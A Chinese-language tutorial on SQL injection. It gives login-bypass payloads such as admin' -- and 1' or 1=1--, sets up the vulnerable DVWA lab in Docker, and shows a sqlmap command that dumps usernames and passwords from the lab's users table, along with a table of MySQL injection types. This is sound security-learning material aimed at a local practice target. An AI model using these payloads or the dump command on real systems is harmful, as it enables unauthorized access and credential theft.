SQL注入
原理:用户输入的内容被直接拼接到SQL语句中执行,导致恶意SQL代码被数据库执行。
场景:在用户可以操控的输入框中。
损失:数据泄露,数据丢失,数据篡改。
注入基础
1 登录
入参:admin password
1 | SELECT * FROM users WHERE username='admin' AND password='123456' |
用户名填admin’ – 绕过密码登录
1 | SELECT * FROM users WHERE username='admin' --' AND password='xxx' |
2 单引号测试 ‘
测试输入框,输入单引号,查看系统是否执行该sql,查看sql层面是否报错:You have an error in your SQL syntax
3 or 1=1
测试输入框,1' or 1=1-- 如返回了真实的数据,说明注入成功。
Docker搭建DVWA
1 | sudo docker run -d -p 80:80 vulnerables/web-dvwa |
默认账号 admin,密码 password.
登录后点左侧DVWA Security,把安全级别改成Low然后点Submit
点击菜单SQL Injection
安装sqlmap
1 | sudo docker exec -it 容器ID /bin/bash |
验证注入
1 | docker exec -it 9ba5053c75ef /bin/bash |
-u:指定目标URL(带了注入参数)
session从DVWA页面,chrome中复制PHPSESSID的值。
根据命令行提示选择选项。
DVWA输出的表数据
1 | --- |
导出
1 | sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ae42ab8250dd8b6cdb6c597b53127d14" -D dvwa -T users -C username,password --dump -batch |
-D dvwa:指定攻击的数据库
-T users:指定攻击的表是 users
-C username,password:指定要导出的字段
MySQL 的典型注入方式
| 注入类型 | 通俗解释 |
|---|---|
| boolean-based blind(布尔盲注) | 通过构造真假条件(比如1’ OR 1=1#),根据页面是否显示内容判断注入是否生效 |
| error-based(报错注入) | 构造恶意 SQL 让数据库报错,从报错信息中提取数据 |
| time-based blind(时间盲注) | 构造SLEEP(5)这类语句,根据页面响应时间判断条件是否成立 |
| UNION query(联合查询注入) | 用UNION ALL SELECT拼接语句,直接读取数据库中的数据(最直接、效率最高) |